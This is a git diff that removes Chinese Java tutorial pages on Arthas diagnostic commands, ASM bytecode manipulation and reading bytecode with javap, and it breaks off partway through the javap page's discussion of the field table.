Arthas,非常方便,我们来看看怎么安装。 - -![](https://cdn.paicoding.com/stutymore/arthas-20240109110348.png) - -官方文档: - ->[https://www.yuque.com/arthas-idea-plugin/help](https://www.yuque.com/arthas-idea-plugin/help) - -## Arthas 常用命令 - -Arthas 提供了非常多的命令供我们使用,比如说和 JVM 相关的: - -- `dashboard`:查看 JVM 的实时数据,包括 CPU、内存、GC、线程等信息。 -- `jvm`:查看 JVM 的信息,包括 JVM 参数、类加载器、类信息、线程信息等。 -- `sysprop`:查看和修改 JVM 的系统属性。 -- `vmoption`:查看和修改 JVM 的启动参数。 -- `heapdump`:生成堆内存快照,类似于 [jmap](https://javabetter.cn/jvm/console-tools.html) 命令。 - -比如说和类加载相关的: - -- `sc`:查看类的信息,包括类的结构、方法、字段等。 -- `sm`:查看方法的信息,包括方法的参数、返回值、异常等。 - - -比如说和方法调用相关的: - -- `tt`:统计方法的调用次数和耗时。 -- `trace`:跟踪方法的调用过程,包括方法的参数、返回值、异常等。 -- `monitor`:监控方法的调用过程。 - -我来带大家体验一些比较常用的命令,其他的命令大家可以参考[官方文档](https://arthas.aliyun.com/doc/commands.html)。 - -### dashboard 命令 - -dashboard 命令可以查看 JVM 的实时数据,包括线程、内存、线程、运行时参数等。 - -![](https://cdn.paicoding.com/stutymore/arthas-20240109112718.png) - -### thread 命令 - -thread 命令可以查看线程的信息,包括线程的状态、线程的堆栈等。 - -![](https://cdn.paicoding.com/stutymore/arthas-20240109113001.png) - -thread 命令的参数如下: - -``` -# 打印当前最忙的3个线程的堆栈信息 -thread -n 3 -# 查看ID为1的线程堆栈信息 -thread 1 -# 找出当前阻塞其他线程的线程 -thread -b -# 查看指定状态的线程 -thread -state WAITING -``` - -### sysprop 命令 - -sysprop 命令可以查看和修改 JVM 的系统属性。 - -![](https://cdn.paicoding.com/stutymore/arthas-20240109113252.png) - -支持 TAB 键补全命令哈~ - -### logger 命令 - -logger 命令可以查看和修改日志的级别,这个命令非常有用。 - -比如说生产环境上一般是不会打印 DEBUG 级别的日志的,但是有时候我们需要打印 DEBUG 级别的日志来排查问题,这个时候就可以使用 logger 命令来修改日志的级别。 - -第一步,先用 logger 命令查看默认使用的日志级别: - -![](https://cdn.paicoding.com/stutymore/arthas-20240109113942.png) - -第二步,使用这个命令`logger --name ROOT --level DEBUG`,将日志级别修改为 DEBUG,再次查看日志级别,发现已经修改成功了: - -![](https://cdn.paicoding.com/stutymore/arthas-20240109114316.png) - -### sc 命令 - -sc 命令可以查看类的信息,包括类的结构、方法、字段等。 - -示例 1:通过 `sc com.github.paicoding.forum.web.front.*` 查看包下的所有类: - -![](https://cdn.paicoding.com/stutymore/arthas-20240109114902.png) - -示例 2:通过 `sc -d com.github.paicoding.forum.web.front.home.IndexController` 查看类的详细信息: - -![](https://cdn.paicoding.com/stutymore/arthas-20240109115043.png) - -示例 3:通过 `sc -d -f com.github.paicoding.forum.web.front.home.vo.IndexVo` 查看类的字段信息: - -![](https://cdn.paicoding.com/stutymore/arthas-20240109115332.png) - -### jad 命令 - -jad 命令可以反编译类的字节码,如果觉得线上代码和预期的不一致,可以反编译看看。 - -示例 1:通过 `jad com.github.paicoding.forum.web.front.home.IndexController` 反编译类的字节码: - -![](https://cdn.paicoding.com/stutymore/arthas-20240109115544.png) - -### monitor 命令 - -monitor 命令可以监控方法的执行信息,包括执行耗时等信息。 - -示例 1:通过 `monitor -c 3 com.github.paicoding.forum.web.front.home.IndexController index` 监控方法的执行信息,`-c` 参数表示监控的次数: - -![](https://cdn.paicoding.com/stutymore/arthas-20240109115828.png) - -### watch 命令 - -watch 命令可以观察方法执行过程中的参数和返回值。 - -示例 1:通过 `watch com.github.paicoding.forum.web.front.home.IndexController index` 观察方法的执行过程中的参数和返回值: - -![](https://cdn.paicoding.com/stutymore/arthas-20240109124522.png) - - - -## 小结 - -Arthas 非常强大,还有很多插件可以配合使用,比如我们前面提到的 Arthas IDEA 插件,支持的命令还有以下这些: - -![](https://cdn.paicoding.com/stutymore/arthas-20240109140000.png) - -文档写得也非常完整,我就不再赘述了,这篇内容也权当一个抛砖引玉。 - -![](https://cdn.paicoding.com/stutymore/arthas-20240109140405.png) - -等后面遇到线上问题了,再用 Arthas 来实战一把,给大家讲一讲。 - -推荐阅读: - -- [Arthas 的强大](https://juejin.cn/post/7291931708920512527) -- [Arthas 的热部署](https://juejin.cn/post/6844903999129419790) -- [IDEA Arthas 插件](https://www.yuque.com/arthas-idea-plugin/help) - - ----- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) \ No newline at end of file diff --git a/docs/src/jvm/asm.md b/docs/src/jvm/asm.md deleted file mode 100644 index f722e6ae90..0000000000 --- a/docs/src/jvm/asm.md +++ /dev/null @@ -1,362 +0,0 @@ ---- -title: 史上最通俗易懂的ASM教程 -shortTitle: 史上最通俗易懂的ASM教程 -category: - - Java核心 -tag: - - Java虚拟机 -description: 二哥的Java进阶之路,小白的零基础Java教程,从入门到进阶,史上最通俗易懂的ASM教程 -head: - - - meta - - name: keywords - content: Java,JavaSE,教程,二哥的Java进阶之路,jvm,Java虚拟机,asm ---- - - - -## 一勺思想 - -We are all in the gutter, but some of us are looking at the stars. (我们都生活在阴沟里,但仍有人仰望星空 )- 王尔德 《温德米尔夫人的扇子》 - -举世混浊我独清,众人皆醉我独醒 - 屈原 《楚辞》 - -## 前言 - -ASM是一种通用Java字节码操作和分析框架。它可以用于修改现有的class文件或动态生成class文件。 - -> **ASM **is an all purpose Java bytecode manipulation and analysis framework. It can be used to modify existing classes or to dynamically generate classes, directly in binary form. ASM provides some common bytecode transformations and analysis algorithms from which custom complex transformations and code analysis tools can be built. ASM offers similar functionality as other Java bytecode frameworks, but is focused on[performance](https://asm.ow2.io/performance.html). Because it was designed and implemented to be as small and as fast as possible, it is well suited for use in dynamic systems (but can of course be used in a static way too, e.g. in compilers). - -本篇文章分享的是对ASM的理解和应用,之前需要我们掌握**class字节码**,**JVM基于栈的设计模式,JVM指令** - -## class字节码 - -我们编写的java文件,会通过javac命令编译为class文件,JVM最终会执行该类型文件来运行程序。下图所示为class文件结构。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/asm-43844b78-c01f-4990-b038-3c91ff2eeb34.jpg) - -下面我们通过一个简单的实例来进行说明。下面是我们编写的一个简单的java文件,只是简单的函数调用. - -```java -public class Test { - private int num1 = 1; - public static int NUM1 = 100; - public int func(int a,int b){ - return add(a,b); - } - public int add(int a,int b) { - return a+b+num1; - } - public int sub(int a, int b) { - return a-b-NUM1; - } -} -``` - -使用javac -g Test.java编译为class文件,然后通过 `javap -verbose Test.class` 命令查看class文件格式。 - -``` -public class com.wuba.asmdemo.Test - minor version: 0 - major version: 52 - flags: ACC_PUBLIC, ACC_SUPER -Constant pool: - #1 = Methodref #6.#26 // java/lang/Object."":()V - #2 = Fieldref #5.#27 // com/wuba/asmdemo/Test.num1:I - #3 = Methodref #5.#28 // com/wuba/asmdemo/Test.add:(II)I - #4 = Fieldref #5.#29 // com/wuba/asmdemo/Test.NUM1:I - #5 = Class #30 // com/wuba/asmdemo/Test - #6 = Class #31 // java/lang/Object - #7 = Utf8 num1 - #8 = Utf8 I - #9 = Utf8 NUM1 - #10 = Utf8 - #11 = Utf8 ()V - #12 = Utf8 Code - #13 = Utf8 LineNumberTable - #14 = Utf8 LocalVariableTable - #15 = Utf8 this - #16 = Utf8 Lcom/wuba/asmdemo/Test; - #17 = Utf8 func - #18 = Utf8 (II)I - #19 = Utf8 a - #20 = Utf8 b - #21 = Utf8 add - #22 = Utf8 sub - #23 = Utf8 - #24 = Utf8 SourceFile - #25 = Utf8 Test.java - #26 = NameAndType #10:#11 // "":()V - #27 = NameAndType #7:#8 // num1:I - #28 = NameAndType #21:#18 // add:(II)I - #29 = NameAndType #9:#8 // NUM1:I - #30 = Utf8 com/wuba/asmdemo/Test - #31 = Utf8 java/lang/Object -{ - public static int NUM1; - descriptor: I - flags: ACC_PUBLIC, ACC_STATIC - - public com.wuba.asmdemo.Test(); //构造函数 - descriptor: ()V - flags: ACC_PUBLIC - Code: - stack=2, locals=1, args_size=1 - 0: aload_0 - 1: invokespecial #1 // Method java/lang/Object."":()V - 4: aload_0 - 5: iconst_1 - 6: putfield #2 // Field num1:I - 9: return - LineNumberTable: - line 3: 0 - line 5: 4 - LocalVariableTable: - Start Length Slot Name Signature - 0 10 0 this Lcom/wuba/asmdemo/Test; - - public int func(int, int); - descriptor: (II)I - flags: ACC_PUBLIC - Code: - stack=3, locals=3, args_size=3 - 0: aload_0 - 1: iload_1 - 2: iload_2 - 3: invokevirtual #3 // Method add:(II)I - 6: ireturn - LineNumberTable: - line 10: 0 - LocalVariableTable: - Start Length Slot Name Signature - 0 7 0 this Lcom/wuba/asmdemo/Test; - 0 7 1 a I - 0 7 2 b I - - public int add(int, int); - descriptor: (II)I - flags: ACC_PUBLIC - Code: - stack=2, locals=3, args_size=3 - 0: iload_1 - 1: iload_2 - 2: iadd - 3: aload_0 - 4: getfield #2 // Field num1:I - 7: iadd - 8: ireturn - LineNumberTable: - line 14: 0 - LocalVariableTable: - Start Length Slot Name Signature - 0 9 0 this Lcom/wuba/asmdemo/Test; - 0 9 1 a I - 0 9 2 b I - - public int sub(int, int); - descriptor: (II)I - flags: ACC_PUBLIC - Code: - stack=2, locals=3, args_size=3 - 0: iload_1 - 1: iload_2 - 2: isub - 3: getstatic #4 // Field NUM1:I - 6: isub - 7: ireturn - LineNumberTable: - line 18: 0 - LocalVariableTable: - Start Length Slot Name Signature - 0 8 0 this Lcom/wuba/asmdemo/Test; - 0 8 1 a I - 0 8 2 b I - - static {}; - descriptor: ()V - flags: ACC_STATIC - Code: - stack=1, locals=0, args_size=0 - 0: bipush 100 - 2: putstatic #4 // Field NUM1:I - 5: return - LineNumberTable: - line 7: 0 -} -SourceFile: "Test.java" -``` - -可以看出在编译为class文件后,字段名称,方法名称,类型名称等均在常量池中存在的。从而做到减小文件的目的。同时方法定义也转变为了jvm指令。下面我们需要对jvm指令加深一下了解。在了解之前需要我们理解JVM基于栈的设计模式 - -## JVM基于栈的设计模式 - -JVM的指令集是基于栈而不是寄存器,基于栈可以具备很好的跨平台性。在线程中执行一个方法时,我们会创建一个栈帧入栈并执行,如果该方法又调用另一个方法时会再次创建新的栈帧然后入栈,方法返回之际,原栈帧会返回方法的执行结果给之前的栈帧,随后虚拟机将会丢弃此栈帧。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/asm-e31b7e50-1d48-4eef-9552-6fa7e6c68fed.jpg) - -### 局部变量表 - -**局部变量表(Local Variable Table)**是一组变量值存储空间,用于存放方法参数和方法内定义的局部变量。虚拟机通过索引定位的方法查找相应的局部变量。举个例子。以上述的代码为例 - -```java - public int sub(int a, int b) { - return a-b-NUM1; - } -``` - -这个方法大家可以猜测一下局部变量有哪些? 答案是3个,不应该只有a,b吗?还有this,对应实例对象方法编译器都会追加一个this参数。如果该方法为静态方法则为2个了。 - -``` -public int sub(int, int); - descriptor: (II)I - flags: ACC_PUBLIC - Code: - stack=2, locals=3, args_size=3 - 0: iload_1 - 1: iload_2 - 2: isub - 3: getstatic #4 // Field NUM1:I - 6: isub - 7: ireturn - LineNumberTable: - line 18: 0 - LocalVariableTable: - Start Length Slot Name Signature - 0 8 0 this Lcom/wuba/asmdemo/Test; - 0 8 1 a I - 0 8 2 b I -``` - -所以局部变量表第0个元素为this, 第一个为a,第二个为b - -### 操作数栈 - -通过局部变量表我们有了要操作和待更新的数据,我们如果对局部变量这些数据进行操作呢?通过操作数栈。当一个方法刚刚开始执行时,其操作数栈是空的,随着方法执行和字节码指令的执行,会从局部变量表或对象实例的字段中复制常量或变量写入到操作数栈,再随着计算的进行将栈中元素出栈到局部变量表或者返回给方法调用者,也就是出栈/入栈操作。一个完整的方法执行期间往往包含多个这样出栈/入栈的过程。 - -### JVM指令 - -* load 命令:用于将局部变量表的指定位置的相应类型变量加载到操作数栈顶; -* store命令:用于将操作数栈顶的相应类型数据保入局部变量表的指定位置; -* invokevirtual:调用实例方法 -* ireturn: 当前方法返回int - -**再举个例子** - -a = b + c 的字节码执行过程中操作数栈以及局部变量表的变化如下图所示 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/asm-4670450e-6199-4562-9cf4-354234c734c8.jpg) - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/asm-9808d639-327f-4796-80d4-1809be0b9106.jpg) - -## ASM操作 - -通过上面的介绍,我们对字节码和JVM指令有了进一步的了解,下面我们看一下ASM是如果编辑class字节码的。 - -## ASM API - -ASM API基于访问者模式,为我们提供了ClassVisitor,MethodVisitor,FieldVisitor API接口,每当ASM扫描到类字段是会回调visitField方法,扫描到类方法是会回调MethodVisitor,下面我们看一下API接口 - -**ClassVisitor方法解析** - -```java -public abstract class ClassVisitor { - ...... - public void visit(int version, int access, String name, String signature, String superName, String[] interfaces); - //访问类字段时回调 - public FieldVisitor visitField(int access, String name, String desc, String signature, Object value); - //访问类方法是回调 - public MethodVisitor visitMethod(int access, String name, String desc, String signature, String[] exceptions); - public void visitEnd(); -} -``` - -## MethodVisitor方法解析 - -```java -public abstract class MethodVisitor { - ...... - public void visitParameter(String name, int access); - //访问本地变量类型指令 操作码可以是LOAD,STORE,RET中一种; - public void visitIntInsn(int opcode, int operand); - //域操作指令,用来加载或者存储对象的Field - public void visitFieldInsn(int opcode, String owner, String name, String descriptor); - //访问方法操作指令 - public void visitMethodInsn(int opcode, String owner, String name, String descriptor); - public void visitEnd(); -} -``` - -### ASM 使用Demo - -java源码 - -```java - public int add(int a,int b) { - return a+b+num1; - } -``` - -class字节码 - -``` - public int add(int, int); - descriptor: (II)I - flags: ACC_PUBLIC - Code: - stack=2, locals=3, args_size=3 - 0: iload_1 - 1: iload_2 - 2: iadd - 3: aload_0 - 4: getfield #2 // Field num1:I - 7: iadd - 8: ireturn - LineNumberTable: - line 14: 0 - LocalVariableTable: - Start Length Slot Name Signature - 0 9 0 this Lcom/wuba/asmdemo/Test; - 0 9 1 a I - 0 9 2 b I -``` - -ASM对应的API - -``` -mv = cw.visitMethod(ACC_PUBLIC, "add", "(II)I", null, null); -mv.visitCode(); -mv.visitVarInsn(ILOAD, 1); -mv.visitVarInsn(ILOAD, 2); -mv.visitInsn(IADD); -mv.visitVarInsn(ALOAD, 0); -mv.visitFieldInsn(GETFIELD, "com/wuba/asmdemo/Test", "num1", "I"); -mv.visitInsn(IADD); -mv.visitInsn(IRETURN); -Label l1 = new Label(); -mv.visitLabel(l1); -mv.visitLocalVariable("this", "Lcom/wuba/asmdemo/Test;", null, l0, l1, 0); -mv.visitLocalVariable("a", "I", null, l0, l1, 1); -mv.visitLocalVariable("b", "I", null, l0, l1, 2); -mv.visitMaxs(2, 3); -mv.visitEnd(); -``` - -可以看出ASM是在指令层次上操作字节码的,和class字节码更加接近。如果我们有些字节码操作的需求,ASM一定可以实现的。只是使用起来比较麻烦一些。这里强烈推荐一款ASM插件 - ->https://plugins.jetbrains.com/plugin/5918-asm-bytecode-outline - -可以一键生成对应的ASM API代码 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/asm-3c8c8db4-5b6a-4576-b147-62965d0e0c1c.jpg) - ----- - ->参考链接:https://zhuanlan.zhihu.com/p/94498015 - ----- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) diff --git a/docs/src/jvm/bytecode.md b/docs/src/jvm/bytecode.md deleted file mode 100644 index f8a91e984b..0000000000 --- a/docs/src/jvm/bytecode.md +++ /dev/null @@ -1,530 +0,0 @@ ---- -title: 从javap的角度轻松看懂字节码 -shortTitle: javap与字节码 -category: - - Java核心 -tag: - - Java虚拟机 -description: 本文主要介绍javap与字节码的关系,以及如何通过javap命令来查看字节码。 -head: - - - meta - - name: keywords - content: Java,JavaSE,教程,二哥的Java进阶之路,jvm,Java虚拟机,字节码,javap ---- - - -计算机比较“傻”,只认 0 和 1,这意味着我们编写的代码最终都要编译成机器码才能被计算机执行。Java 在诞生之初就提出了一个非常著名的宣传口号: "**一次编写,处处运行**"。 - -> **Write Once, Run Anywhere.** - -为了这个口号,Java 的亲妈 Sun 公司以及其他虚拟机提供商发布了许多可以在不同平台上运行的 Java 虚拟机,而这些虚拟机都拥有一个共同的功能,那就是可以载入和执行同一种与平台无关的字节码(Byte Code)。 - -(前面其实我们也讲过,但为了这篇内容的完整性,我们简单过一下,这一节我们的重点是**通过 javap 这个命令来了解字节码**) - -有了 Java 虚拟机的帮助,我们编写的 Java 源代码不必再根据不同平台编译成对应的机器码了,只需要生成一份字节码,然后再将字节码文件交由运行在不同平台上的 Java 虚拟机读取后执行就可以了。 - -如今的 Java 虚拟机非常强大,不仅支持 Java 语言,还支持很多其他的编程语言,比如说 Groovy、Scala、Koltin 等等。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/bytecode-dd31bbd6-c75c-4426-9437-c0f57ea3b86f.png) - -来看一段代码吧。 - -```java -public class Main { - private int age = 18; - public int getAge() { - return age; - } -} -``` - -编译生成 Main.class 文件后,可以在命令行使用 `xxd Main.class` 打开 class 文件([前面我们已经讲过了](https://javabetter.cn/jvm/class-load.html),还不会用的同学可以回头看一眼)。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/bytecode-bd941085-ff0e-4abf-a5f9-afb0493bfed7.png) - -对于这些 16 进制内容,除了开头的 cafe babe,剩下的内容大致可以翻译成:啥玩意啊这...... - -但经过[上一节类文件结构](https://javabetter.cn/jvm/class-file-jiegou.html)的洗礼,相信大家对这份文件的内容已经很熟悉了。 - -## javap - -Java 内置了一个反编译命令 javap,可以通过 `javap -help` 了解 javap 的基本用法。 - -![](https://cdn.paicoding.com/stutymore/bytecode-20231215214357.png) - -当然了,执行这个命令的前提条件是你需要配置好 Java 环境变量,如果没有配置好,可以参考[这篇文章](https://javabetter.cn/overview/jdk-install-config.html)。 - -javap 是 JDK 自带的一个命令行工具,主要用于反编译类文件(.class 文件)。我本机是 macOS,使用了 jenv 来管理的 JDK 版本,所以看到的位置如下图所示。 - -> Windows 用户以及没有使用 jenv 的 macOS 用户可以根据[这个帖子](https://javabetter.cn/overview/jdk-install-config.html)了解 jenv,真的好用。 - -![](https://cdn.paicoding.com/stutymore/bytecode-20231215215011.png) - -javap 主要用于反编译 Java 类文件,即将编译后的 .class 文件转换回更易于理解的形式。虽然它不会生成原始的 Java 源代码,但它可以显示类的结构,包括[构造方法](https://javabetter.cn/oo/construct.html)、[方法](https://javabetter.cn/oo/method.html)、[字段](https://javabetter.cn/oo/var.html)等,帮助我们更好地理解 Java 字节码以及 Java 程序的运行机制。 - -前面我们已经写了一个简单的类,大家应该还记得: - -```java -public class Main { - private int age = 18; - public int getAge() { - return age; - } -} -``` - -当然了,我希望你是用 [Intellij IDEA](https://javabetter.cn/overview/IDEA-install-config.html) 来编写而不是记事本,这样就省去了我们主动编译的过程,可以直接在 [target 目录下找到 class 文件](https://javabetter.cn/jvm/how-run-java-code.html),这些知识我们前面都已经讲过了。 - -OK,我们在 class 文件的同级目录下输入命令 `javap -v -p Main.class` 来查看一下输出的内容(-v 显示附加信息,如局部变量表、操作码等;-p 显示所有类和成员,包括私有的,不懂的同学可以回头看在看一眼 `javap -help` 的输出结果 😁)。 - -```java -Classfile /Users/maweiqing/Documents/GitHub/TechSisterLearnJava/codes/TechSister/target/classes/com/itwanger/jvm/Main.class - Last modified 2021年4月15日; size 385 bytes - SHA-256 checksum 6688843e4f70ae8d83040dc7c8e2dd3694bf10ba7c518a6ea9b88b318a8967c6 - Compiled from "Main.java" -public class com.itwanger.jvm.Main - minor version: 0 - major version: 55 - flags: (0x0021) ACC_PUBLIC, ACC_SUPER - this_class: #3 // com/itwanger/jvm/Main - super_class: #4 // java/lang/Object - interfaces: 0, fields: 1, methods: 2, attributes: 1 -Constant pool: - #1 = Methodref #4.#18 // java/lang/Object."":()V - #2 = Fieldref #3.#19 // com/itwanger/jvm/Main.age:I - #3 = Class #20 // com/itwanger/jvm/Main - #4 = Class #21 // java/lang/Object - #5 = Utf8 age - #6 = Utf8 I - #7 = Utf8 - #8 = Utf8 ()V - #9 = Utf8 Code - #10 = Utf8 LineNumberTable - #11 = Utf8 LocalVariableTable - #12 = Utf8 this - #13 = Utf8 Lcom/itwanger/jvm/Main; - #14 = Utf8 getAge - #15 = Utf8 ()I - #16 = Utf8 SourceFile - #17 = Utf8 Main.java - #18 = NameAndType #7:#8 // "":()V - #19 = NameAndType #5:#6 // age:I - #20 = Utf8 com/itwanger/jvm/Main - #21 = Utf8 java/lang/Object -{ - private int age; - descriptor: I - flags: (0x0002) ACC_PRIVATE - - public com.itwanger.jvm.Main(); - descriptor: ()V - flags: (0x0001) ACC_PUBLIC - Code: - stack=2, locals=1, args_size=1 - 0: aload_0 - 1: invokespecial #1 // Method java/lang/Object."":()V - 4: aload_0 - 5: bipush 18 - 7: putfield #2 // Field age:I - 10: return - LineNumberTable: - line 6: 0 - line 7: 4 - LocalVariableTable: - Start Length Slot Name Signature - 0 11 0 this Lcom/itwanger/jvm/Main; - - public int getAge(); - descriptor: ()I - flags: (0x0001) ACC_PUBLIC - Code: - stack=1, locals=1, args_size=1 - 0: aload_0 - 1: getfield #2 // Field age:I - 4: ireturn - LineNumberTable: - line 9: 0 - LocalVariableTable: - Start Length Slot Name Signature - 0 5 0 this Lcom/itwanger/jvm/Main; -} -SourceFile: "Main.java" -``` - -睁大眼睛瞧过去,内容挺多。同学们不要着急,我们来一行一行分析。 - -## 字节码的基本信息 - -第 1 行: - -```java -Classfile /Users/maweiqing/Documents/GitHub/TechSisterLearnJava/codes/TechSister/target/classes/com/itwanger/jvm/Main.class -``` - -顾名思义,这行表示字节码文件的位置。 - -第 2 行: - -```java -Last modified 2021年4月15日; size 385 bytes -``` - -字节码文件的修改日期(我 2021 年在「沉默王二」公众号里分享过,不知道还有多少同学记得 😄)、文件大小是 385 bytes。 - -第 3 行: - -```java -SHA-256 checksum 6688843e4f70ae8d83040dc7c8e2dd3694bf10ba7c518a6ea9b88b318a8967c -``` - -字节码文件的 SHA-256 值,用于校验文件的完整性。 - -> SHA-256 是一种加密哈希算法,将任意长度的输入数据处理成固定长度(256 位,即 32 字节)的输出数据,且输出数据的哈希值在数学上很难被反向计算出原始数据,所以常用于校验数据的完整性。 - -第 4 行: - -```java -Compiled from "Main.java" -``` - -说明该字节码文件编译自 Main.java 源文件。 - -第 5 行: - -```java -public class com.itwanger.jvm.Main -``` - -类访问修饰符和类型,表明这是一个公开的类,名为 `com.itwanger.jvm.Main`。 - -第 6 行 `minor version: 0`,次版本号。 - -第 7 行 `major version: 55`,主版本号(由 Java 11 编译,[上一节](https://javabetter.cn/jvm/class-file-jiegou.html)讲过)。 - -第 8 行: - -```java -flags: (0x0021) ACC_PUBLIC, ACC_SUPER -``` - -类访问标记,一共有 8 种,[上一节](https://javabetter.cn/jvm/class-file-jiegou.html)我们曾提到。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/bytecode-d12d6983-f427-40d2-bb4b-3a2c6c4c7806.png) - -表明当前类是 `ACC_PUBLIC | ACC_SUPER`(表明这个类是 [public](https://javabetter.cn/oo/access-control.html) 的,并且使用了 [super 关键字](https://javabetter.cn/oo/this-super.html#_07%E3%80%81super-%E5%85%B3%E9%94%AE%E5%AD%97))。 - -[位运算符](https://javabetter.cn/basic-grammar/operator.html#_03%E3%80%81%E4%BD%8D%E8%BF%90%E7%AE%97%E7%AC%A6) `|` 的意思是如果相对应位是 0,则结果为 0,否则为 1,所以 `0x0001 | 0x0020` 的结果是 `0x0021`(需要转成二进制进行运算)。 - -第 9 行: - -```java -this_class: #3 // com/itwanger/jvm/Main -``` - -当前类的索引,指向[常量池](https://javabetter.cn/jvm/class-file-jiegou.html#_03%E3%80%81%E5%B8%B8%E9%87%8F%E6%B1%A0)中下标为 3 的常量(上一节刚讲过),可以看得出当前类是 Main 类。 - -第 10 行: - -```java -super_class: #4 // java/lang/Object -``` - -父类的索引,指向常量池中下标为 6 的常量,可以看得出当前类的父类是 Object 类(所有没有明确父类都默认继承超类,这也是**万物皆对象**的重要原因)。 - -第 11 行: - -```java -interfaces: 0, fields: 1, methods: 2, attributes: 1 -``` - -当前类有 0 个接口,1 个字段(age),2 个方法(`write()`方法和缺省的默认构造方法,讲《[面向对象编程](https://javabetter.cn/oo/object-class.html)》的时候都讲过),1 个属性(该类仅有的一个属性是 SourceFIle,包含了源码文件的信息,第一行讲过了)。 - -## 常量池 - -接下来是 Constant pool,也就是字节码文件最重要的常量池部分。可以把常量池理解为字节码文件中的资源仓库,主要存放两大类信息。 - -> [上一节](https://javabetter.cn/jvm/class-file-jiegou.html)我们就讲过字面量和符号引用,这里再讲一次,应该是第三次讲了,确实比较难懂,我们就多讲几次,直到大家都能理解为止(😁)。 - -**1)字面量(Literal)**,有点类似 Java 中的常量概念,比如文本字符串,final 常量等。 - -**2)符号引用(Symbolic References)**,属于编译原理方面的概念,包括 3 种: - -- 类和接口的全限定名(Fully Qualified Name) -- 字段的名称和描述符(Descriptor) -- 方法的名称和描述符 - -Java 虚拟机是在加载字节码文件的时候才进行的动态链接,也就是说,字段和方法的符号引用只有经过运行期转换后才能获得真正的内存地址。 - -当 Java 虚拟机运行时,需要从常量池获取对应的符号引用,然后在类创建或者运行时解析并翻译到具体的内存地址上。 - -当前字节码文件中一共有 21 个常量,它们之间是有链接的,逐个分析会比较乱,我们采用顺藤摸瓜的方式,从上依次往下看,那些被链接的常量我们就点到为止。 - -_注_: - -- `#` 号后面跟的是索引,索引没有从 0 开始而是从 1 开始,是因为设计者考虑到,“如果要表达不引用任何一个常量的含义时,可以将索引值设为 0 来表示”(周志明老师《深入理解 Java 虚拟机》一书描述的)。 -- `=` 号后面跟的是常量的类型,没有包含前缀 `CONSTANT_` 和后缀 `_info`。 -- **全文中提到的索引等同于下标**,为了灵活描述,没有做统一。 - -好,开始。 - -第 1 个常量: - -```java -#1 = Methodref #4.#18 // java/lang/Object."":()V -``` - -类型为 Methodref,表明是用来定义方法的,指向常量池中下标为 4 和 18 的常量。 - -第 4 个常量: - -```java -#4 = Class #21 // java/lang/Object -``` - -类型为 Class,表明是用来定义类(或者接口)的,指向常量池中下标为 21 的常量。 - -第 21 个常量: - -```java -#21 = Utf8 java/lang/Object -``` - -类型为 Utf8,UTF-8 编码的字符串,值为 `java/lang/Object`。 - -第 18 个常量: - -```java -#18 = NameAndType #7:#8 // "":()V -``` - -类型为 NameAndType,表明是字段或者方法的部分符号引用,指向常量池中下标为 7 和 8 的常量。 - -第 7 个常量: - -```java -#7 = Utf8 -``` - -类型为 Utf8,UTF-8 编码的字符串,值为 ``,表明为构造方法。 - -第 8 个常量: - -```java -#8 = Utf8 ()V -``` - -类型为 Utf8,UTF-8 编码的字符串,值为 `()V`,表明方法的返回值为 void。 - -到此为止,第 1 个常量算是摸完了。组合起来的意思就是,Main 类使用的是默认的构造方法,来源于 Object 类。`#4` 指向 `Class #21`(即 `java/lang/Object`),`#18` 指向 `NameAndType #7:#8`(即 `:()V`)。 - -第 2 个常量: - -```java -#2 = Fieldref #3.#19 // com/itwanger/jvm/Main.age:I -``` - -类型为 Fieldref,表明是用来定义字段的,指向常量池中下标为 3 和 19 的常量。 - -第 3 个常量: - -```java -#3 = Class #20 // com/itwanger/jvm/Main -``` - -类型为 Class,表明是用来定义类(或者接口)的,指向常量池中下标为 20 的常量。 - -第 19 个常量: - -```java -#19 = NameAndType #5:#6 // age:I -``` - -类型为 NameAndType,表明是字段或者方法的部分符号引用,指向常量池中下标为 5 和 6 的常量。 - -第 5 个常量: - -```java -#5 = Utf8 age -``` - -类型为 Utf8,UTF-8 编码的字符串,值为 `age`,表明字段名为 age。 - -第 6 个常量: - -```java -#6 = Utf8 I -``` - -类型为 Utf8,UTF-8 编码的字符串,值为 `I`,表明字段的类型为 int。 - -关于字段类型的描述符映射表如下图所示,[上一节](https://javabetter.cn/jvm/class-file-jiegou.html)其实也讲过,只不过是从 16 进制来看的,这一节是从 javap 的角度来看的。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/bytecode-cbf16ce9-7853-4050-a1c0-8b874f3b0c1e.png) - -到此为止,第 2 个常量算是摸完了。组合起来的意思就是,声明了一个类型为 int 的字段 age。`#3` 指向 `Class #20`(即 `com/itwanger/jvm/Main`),`#19` 指向 `NameAndType #5:#6`(即 `age:I`)。 - -## 字段表集合 - -字段表用来描述接口或者类中声明的变量,包括类变量和成员变量,但不包含声明在方法中局部变量。 - -> 